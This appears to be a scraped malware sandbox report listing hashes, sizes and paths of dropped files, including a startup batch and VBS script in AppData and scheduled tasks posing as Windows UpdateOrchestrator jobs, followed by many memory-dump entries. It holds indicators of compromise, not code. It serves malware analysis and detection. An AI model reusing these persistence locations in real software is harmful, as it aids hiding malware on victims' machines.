9ec350de7fb81cf30f916415384c3760

SHA1
d1399e56806e70a00732b3acfe5c1ab3b41e8ff5

SHA256
4ba1523cb59e38e23224dbc33f7b25f1222de0d935795e3c43ec985265bd29d3

SHA512
fee1ca32861bb4b314717046ac39c3ecf008e454bc75a6e4779a10adcf0cc74c3d3bc6991aae49ec9c3397f0273d0c14625aea6cdd6ab70c133c33364a22ccf6

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_482.bat

Filesize
1002KB

MD5
f6d5bfaee8a55ff72c7b453fda066d62

SHA1
7d737d53013990e5d05076b7206e43eb4793fc7f

SHA256
3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

SHA512
e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_482.vbs

Filesize
115B

MD5
7c8956b43fdf23829e8da947749dd4e1

SHA1
e5e0e2e533f6d88758452e67382560cf045b7eda

SHA256
a1d3b4e27923b07a6b5d0cdeeed244b795952fa90b1471b3aae81d4da89fdc0d

SHA512
a9c15b6242d7acd6b49e1e0f463570860331b8fbcb21d04b56d3f9d3d907c6b55efe49d9da18a79ea304503bf724941a2dc113a96824446cefa451a01383311e

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
memory/528-182-0x00007FFD7C790000-0x00007FFD7C7A0000-memory.dmp

Filesize
64KB

Download
memory/528-181-0x00000231868B0000-0x00000231868DA000-memory.dmp

Filesize
168KB

Download
memory/528-176-0x00000231868B0000-0x00000231868DA000-memory.dmp

Filesize
168KB

Download
memory/604-142-0x00007FFD7C790000-0x00007FFD7C7A0000-memory.dmp

Filesize
64KB

Download
memory/604-134-0x00000170F2790000-0x00000170F27B5000-memory.dmp

Filesize
148KB

Download
memory/604-136-0x00000170F27C0000-0x00000170F27EA000-memory.dmp

Filesize
168KB

Download
memory/604-141-0x00000170F27C0000-0x00000170F27EA000-memory.dmp

Filesize
168KB

Download
memory/604-135-0x00000170F27C0000-0x00000170F27EA000-memory.dmp

Filesize
168KB

Download
memory/660-151-0x000001CBC62E0000-0x000001CBC630A000-memory.dmp

Filesize
168KB

Download
memory/660-146-0x000001CBC62E0000-0x000001CBC630A000-memory.dmp

Filesize
168KB

Download
memory/660-152-0x00007FFD7C790000-0x00007FFD7C7A0000-memory.dmp

Filesize
64KB

Download
memory/936-162-0x00007FFD7C790000-0x00007FFD7C7A0000-memory.dmp

Filesize
64KB

Download
memory/936-156-0x00000224E9640000-0x00000224E966A000-memory.dmp

Filesize
168KB

Download
memory/936-161-0x00000224E9640000-0x00000224E966A000-memory.dmp

Filesize
168KB

Download
memory/1000-171-0x000001BCE2160000-0x000001BCE218A000-memory.dmp

Filesize
168KB

Download
memory/1000-172-0x00007FFD7C790000-0x00007FFD7C7A0000-memory.dmp

Filesize
64KB

Download
memory/1000-166-0x000001BCE2160000-0x000001BCE218A000-memory.dmp

Filesize
168KB

Download
memory/2320-124-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2320-130-0x00007FFDBAE90000-0x00007FFDBAF4E000-memory.dmp

Filesize
760KB

Download
memory/2320-121-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2320-129-0x00007FFDBC710000-0x00007FFDBC905000-memory.dmp

Filesize
2.0MB

Download
memory/2320-131-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2320-126-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2320-122-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2320-123-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3504-118-0x0000023A346F0000-0x0000023A3471A000-memory.dmp

Filesize
168KB

Download
memory/3504-120-0x00007FFDBAE90000-0x00007FFDBAF4E000-memory.dmp

Filesize
760KB

Download
memory/3504-113-0x0000023A32200000-0x0000023A32222000-memory.dmp

Filesize
136KB

Download
memory/3504-119-0x00007FFDBC710000-0x00007FFDBC905000-memory.dmp

Filesize
2.0MB

Download
memory/4716-83-0x000000000A4B0000-0x000000000A542000-memory.dmp

Filesize
584KB

Download
memory/4716-117-0x0000000008A70000-0x0000000008A7A000-memory.dmp

Filesize
40KB

Download
memory/4716-114-0x000000000A850000-0x000000000A88C000-memory.dmp

Filesize
240KB

Download
memory/4716-103-0x0000000008960000-0x0000000008972000-memory.dmp

Filesize
72KB

Download
memory/4716-82-0x0000000008C70000-0x0000000008CDC000-memory.dmp

Filesize
432KB

Download
memory/4736-95-0x0000000074FD0000-0x0000000075780000-memory.dmp

Filesize
7.7MB

Download
memory/4736-6-0x0000000006370000-0x00000000063D6000-memory.dmp

Filesize
408KB

Download
memory/4736-0-0x0000000074FDE000-0x0000000074FDF000-memory.dmp

Filesize
4KB

Download
memory/4736-1-0x0000000005490000-0x00000000054C6000-memory.dmp

Filesize
216KB

Download
memory/4736-2-0x0000000005B50000-0x0000000006178000-memory.dmp

Filesize
6.2MB

Download
memory/4736-3-0x0000000074FD0000-0x0000000075780000-memory.dmp

Filesize
7.7MB

Download
memory/4736-4-0x0000000074FD0000-0x0000000075780000-memory.dmp

Filesize
7.7MB

Download
memory/4736-5-0x00000000062B0000-0x00000000062D2000-memory.dmp

Filesize
136KB

Download
memory/4736-24-0x000000000ADA0000-0x000000000B344000-memory.dmp

Filesize
5.6MB

Download
memory/4736-23-0x0000000008BB0000-0x0000000008CA2000-memory.dmp

Filesize
968KB

Download
memory/4736-7-0x00000000063E0000-0x0000000006446000-memory.dmp

Filesize
408KB

Download
memory/4736-17-0x0000000006450000-0x00000000067A4000-memory.dmp

Filesize
3.3MB

Download
memory/4736-18-0x0000000006930000-0x000000000694E000-memory.dmp

Filesize
120KB

Download
memory/4736-19-0x00000000069E0000-0x0000000006A2C000-memory.dmp

Filesize
304KB

Download
memory/4736-20-0x0000000009170000-0x00000000097EA000-memory.dmp

Filesize
6.5MB

Download
memory/4736-21-0x0000000006F10000-0x0000000006F2A000-memory.dmp

Filesize
104KB

Download
memory/4736-22-0x0000000006EB0000-0x0000000006EB8000-memory.dmp

Filesize
32KB

Download
memory/4748-101-0x0000000000990000-0x00000000009FC000-memory.dmp

Filesize
432KB

Download
memory/4836-52-0x0000000074FD0000-0x0000000075780000-memory.dmp

Filesize
7.7MB

Download
memory/4836-26-0x0000000074FD0000-0x0000000075780000-memory.dmp

Filesize
7.7MB

Download
memory/4836-27-0x0000000074FD0000-0x0000000075780000-memory.dmp

Filesize
7.7MB

Download
memory/4836-37-0x0000000074FD0000-0x0000000075780000-memory.dmp

Filesize
7.7MB

Download
memory/4836-39-0x0000000070DF0000-0x0000000070E3C000-memory.dmp

Filesize
304KB

Download
memory/4836-38-0x0000000007180000-0x00000000071B2000-memory.dmp

Filesize
200KB

Download
memory/4836-49-0x0000000006570000-0x000000000658E000-memory.dmp

Filesize
120KB

Download
memory/4836-50-0x0000000074FD0000-0x0000000075780000-memory.dmp

Filesize
7.7MB

Download
memory/4836-51-0x00000000071C0000-0x0000000007263000-memory.dmp

Filesize
652KB

Download
memory/4836-53-0x0000000007350000-0x000000000735A000-memory.dmp

Filesize
40KB

Download
memory/4836-54-0x0000000007550000-0x00000000075E6000-memory.dmp

Filesize
600KB

Download
memory/4836-55-0x00000000074D0000-0x00000000074E1000-memory.dmp

Filesize
68KB

Download
memory/4836-56-0x0000000074FD0000-0x0000000075780000-memory.dmp

Filesize
7.7MB

Download
memory/4836-59-0x0000000074FD0000-0x0000000075780000-memory.dmp

Filesize
7.7MB

Download